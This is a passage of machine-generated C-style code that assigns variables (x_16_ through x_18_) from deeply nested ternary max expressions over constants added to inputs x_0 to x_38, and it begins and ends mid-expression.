x_8)))) : (((7.0 + x_9) > (20.0 + x_10)? (7.0 + x_9) : (20.0 + x_10)) > ((19.0 + x_11) > ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))? (19.0 + x_11) : ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13)))? ((7.0 + x_9) > (20.0 + x_10)? (7.0 + x_9) : (20.0 + x_10)) : ((19.0 + x_11) > ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))? (19.0 + x_11) : ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))))) > ((((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) > ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))? ((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) : ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))) > (((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) > ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37)))? ((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) : ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))))? (((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) > ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))? ((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) : ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))) : (((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) > ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37)))? ((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) : ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37)))))? ((((8.0 + x_2) > (9.0 + x_4)? (8.0 + x_2) : (9.0 + x_4)) > ((13.0 + x_6) > ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8))? (13.0 + x_6) : ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8)))? ((8.0 + x_2) > (9.0 + x_4)? (8.0 + x_2) : (9.0 + x_4)) : ((13.0 + x_6) > ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8))? (13.0 + x_6) : ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8)))) > (((7.0 + x_9) > (20.0 + x_10)? (7.0 + x_9) : (20.0 + x_10)) > ((19.0 + x_11) > ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))? (19.0 + x_11) : ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13)))? ((7.0 + x_9) > (20.0 + x_10)? (7.0 + x_9) : (20.0 + x_10)) : ((19.0 + x_11) > ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))? (19.0 + x_11) : ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))))? (((8.0 + x_2) > (9.0 + x_4)? (8.0 + x_2) : (9.0 + x_4)) > ((13.0 + x_6) > ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8))? (13.0 + x_6) : ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8)))? ((8.0 + x_2) > (9.0 + x_4)? (8.0 + x_2) : (9.0 + x_4)) : ((13.0 + x_6) > ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8))? (13.0 + x_6) : ((8.0 + x_7) > (8.0 + x_8)? (8.0 + x_7) : (8.0 + x_8)))) : (((7.0 + x_9) > (20.0 + x_10)? (7.0 + x_9) : (20.0 + x_10)) > ((19.0 + x_11) > ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))? (19.0 + x_11) : ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13)))? ((7.0 + x_9) > (20.0 + x_10)? (7.0 + x_9) : (20.0 + x_10)) : ((19.0 + x_11) > ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))? (19.0 + x_11) : ((18.0 + x_12) > (19.0 + x_13)? (18.0 + x_12) : (19.0 + x_13))))) : ((((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) > ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))? ((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) : ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))) > (((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) > ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37)))? ((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) : ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))))? (((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) > ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))? ((18.0 + x_14) > (7.0 + x_18)? (18.0 + x_14) : (7.0 + x_18)) : ((14.0 + x_20) > ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25))? (14.0 + x_20) : ((8.0 + x_22) > (20.0 + x_25)? (8.0 + x_22) : (20.0 + x_25)))) : (((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) > ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37)))? ((18.0 + x_27) > (18.0 + x_28)? (18.0 + x_27) : (18.0 + x_28)) : ((9.0 + x_30) > ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37))? (9.0 + x_30) : ((20.0 + x_34) > (20.0 + x_37)? (20.0 + x_34) : (20.0 + x_37)))))); x_16_ = (((((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) > ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))? ((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) : ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))) > (((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) > ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18)))? ((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) : ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))))? (((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) > ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))? ((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) : ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))) : (((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) > ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18)))? ((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) : ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))))) > ((((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) > ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))? ((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) : ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))) > (((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) > ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38)))? ((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) : ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))))? (((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) > ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))? ((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) : ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))) : (((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) > ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38)))? ((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) : ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38)))))? ((((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) > ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))? ((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) : ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))) > (((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) > ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18)))? ((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) : ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))))? (((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) > ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))? ((6.0 + x_0) > (9.0 + x_2)? (6.0 + x_0) : (9.0 + x_2)) : ((20.0 + x_5) > ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10))? (20.0 + x_5) : ((4.0 + x_8) > (14.0 + x_10)? (4.0 + x_8) : (14.0 + x_10)))) : (((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) > ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18)))? ((16.0 + x_12) > (12.0 + x_13)? (16.0 + x_12) : (12.0 + x_13)) : ((17.0 + x_15) > ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))? (17.0 + x_15) : ((3.0 + x_16) > (3.0 + x_18)? (3.0 + x_16) : (3.0 + x_18))))) : ((((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) > ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))? ((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) : ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))) > (((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) > ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38)))? ((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) : ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))))? (((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) > ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))? ((9.0 + x_19) > (10.0 + x_20)? (9.0 + x_19) : (10.0 + x_20)) : ((15.0 + x_22) > ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30))? (15.0 + x_22) : ((7.0 + x_23) > (20.0 + x_30)? (7.0 + x_23) : (20.0 + x_30)))) : (((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) > ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38)))? ((19.0 + x_32) > (14.0 + x_33)? (19.0 + x_32) : (14.0 + x_33)) : ((11.0 + x_34) > ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38))? (11.0 + x_34) : ((12.0 + x_37) > (7.0 + x_38)? (12.0 + x_37) : (7.0 + x_38)))))); x_17_ = (((((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) > ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))? ((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) : ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))) > (((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) > ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16)))? ((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) : ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))))? (((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) > ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))? ((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) : ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))) : (((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) > ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16)))? ((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) : ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))))) > ((((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) > ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))? ((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) : ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))) > (((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) > ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38)))? ((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) : ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))))? (((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) > ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))? ((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) : ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))) : (((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) > ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38)))? ((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) : ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38)))))? ((((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) > ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))? ((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) : ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))) > (((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) > ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16)))? ((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) : ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))))? (((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) > ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))? ((16.0 + x_0) > (8.0 + x_3)? (16.0 + x_0) : (8.0 + x_3)) : ((1.0 + x_5) > ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7))? (1.0 + x_5) : ((8.0 + x_6) > (9.0 + x_7)? (8.0 + x_6) : (9.0 + x_7)))) : (((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) > ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16)))? ((10.0 + x_8) > (15.0 + x_11)? (10.0 + x_8) : (15.0 + x_11)) : ((15.0 + x_12) > ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))? (15.0 + x_12) : ((16.0 + x_13) > (17.0 + x_16)? (16.0 + x_13) : (17.0 + x_16))))) : ((((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) > ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))? ((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) : ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))) > (((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) > ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38)))? ((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) : ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))))? (((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) > ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))? ((4.0 + x_17) > (4.0 + x_19)? (4.0 + x_17) : (4.0 + x_19)) : ((18.0 + x_20) > ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26))? (18.0 + x_20) : ((1.0 + x_23) > (14.0 + x_26)? (1.0 + x_23) : (14.0 + x_26)))) : (((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) > ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38)))? ((8.0 + x_31) > (11.0 + x_32)? (8.0 + x_31) : (11.0 + x_32)) : ((13.0 + x_33) > ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38))? (13.0 + x_33) : ((19.0 + x_34) > (3.0 + x_38)? (19.0 + x_34) : (3.0 + x_38)))))); x_18_ = (((((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) > ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))? ((12.0 + x_0) > (3.0 + x_1)? (12.0 + x_0) : (3.0 + x_1)) : ((3.0 + x_3) > ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7))? (3.0 + x_3) : ((15.0 + x_4) > (18.0 + x_7)? (15.0 + x_4) : (18.0 + x_7)))) > (((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) > ((7.0 + x_15) > ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18))? (7.0 + x_15) : ((12.0 + x_17) > (18.0 + x_18)? (12.0 + x_17) : (18.0 + x_18)))? ((20.0 + x_10) > (16.0 + x_14)? (20.0 + x_10) : (16.0 + x_14)) : 